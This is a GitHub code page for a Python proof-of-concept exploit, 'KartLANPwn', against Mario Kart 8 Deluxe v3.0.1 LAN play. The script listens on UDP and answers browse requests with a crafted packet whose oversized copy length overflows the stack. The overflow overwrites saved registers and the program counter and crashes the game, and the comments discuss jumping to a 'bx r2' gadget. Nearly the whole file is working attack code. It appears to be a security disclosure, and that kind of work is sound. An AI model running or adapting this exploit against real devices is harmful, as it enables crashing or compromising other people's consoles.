-
Notifications
You must be signed in to change notification settings - Fork 1
/
kartlanpwn-poc.py
89 lines (67 loc) · 3.21 KB
/
kartlanpwn-poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
import os
import sys
import socket
import struct
import traceback
BROADCAST_ADDR = ("0.0.0.0", 30000)
REPLY_PKT_SIZE = 1024
# LAN reply packet type, size of room info, room info header, misc room info fields
REPLY_INIT_MAGIC = b"\x01\x00\x00\x04\xf2\x00\x00\x00\x01\x01\x50\xC0" + (b"\x00" * 26) + b"\x01\x00\x02\x00\x0e\x02\x0d\x00\x00" # ??
# utils
def fill_ba(bytearr, length):
if type(bytearr) == bytes:
bytearr = bytearray(bytearr)
if len(bytearr) < length:
bytearr.extend(b"\x00" * ( length - len(bytearr) ))
return bytearr
reply_buf_data = fill_ba(b"Hello!", 128)
def craft_reply_packet():
out = bytearray(REPLY_INIT_MAGIC + reply_buf_data)
overflowed_out = bytearray()
# by +0x497ab8, r4 and r5 are popped to the values they were supposed to be, r6-r8 left in-tact
# ^ ignore if you're already overflowing pc, you won't even reach this codepath in that case
overflowed_out.extend(struct.pack("<I", 0xAAAAAAAA)) # r4
overflowed_out.extend(struct.pack("<I", 0xBBBBBBBB)) # r5
overflowed_out.extend(struct.pack("<I", 0xCCCCCCCC)) # r6
overflowed_out.extend(struct.pack("<I", 0xDDDDDDDD)) # r7
overflowed_out.extend(struct.pack("<I", 0xEEEEEEEE)) # r8
# jumps to a relative `bx r2`, which just so happens to contain the ptr to the start of our
# output buffer on the stack by the time this pc is popped. (see `reply_buf_data`)
# of course, this is merely a theoretical exploit b/c the Switch uses No eXecute pages
overflowed_out.extend(b"\xCC\x80"[::-1]) # pc (!)
# # \xCC\x80 = +0x8C8C80 (bx r2)
# the region we can reliably jump to is between 8cc000-8dc000 since the base of main at runtime always ends in 0x04000
# length for memcpy to write from (located @ packet[431])
evil_length = len(reply_buf_data) + len(overflowed_out)
out.extend(fill_ba(overflowed_out, 256))
out.extend(struct.pack(">I", evil_length))
return bytes(fill_ba(out, REPLY_PKT_SIZE))
def main():
print("Hello from Latte Softworks! 🙂 https://latte.to")
print("""
USAGE INSTRUCTIONS:
• IMPORTANT: This PoC is intended only for Mario Kart 8 Deluxe v3.0.1, if
you're on the latest version of the game, your install of MK8DX is
not vulnerable to KartLANPwn
• Ensure that your Switch is connected to the same network as this machine
• See MK8DX LAN play instructions here: https://en-americas-support.nintendo.com/app/answers/detail/a_id/25961/~/how-to-use-the-lan-play-feature-of-mario-kart-8-deluxe
• Upon opening the "LAN Play" menu with this script running, the game's process should crash. Hooray!
""")
print(f"Opening UDP socket @ {BROADCAST_ADDR}")
server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server.bind(BROADCAST_ADDR)
# UDP socket listener loop
while True:
data, addr = server.recvfrom(1024)
print(f"> RECV from {addr}")
# "browse" search packets have a type id of 0
if data[0] == 0:
print(f"Sending crafted browse reply to {addr}.. ", end="")
server.sendto(craft_reply_packet(), addr)
print("done!")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
sys.exit(0)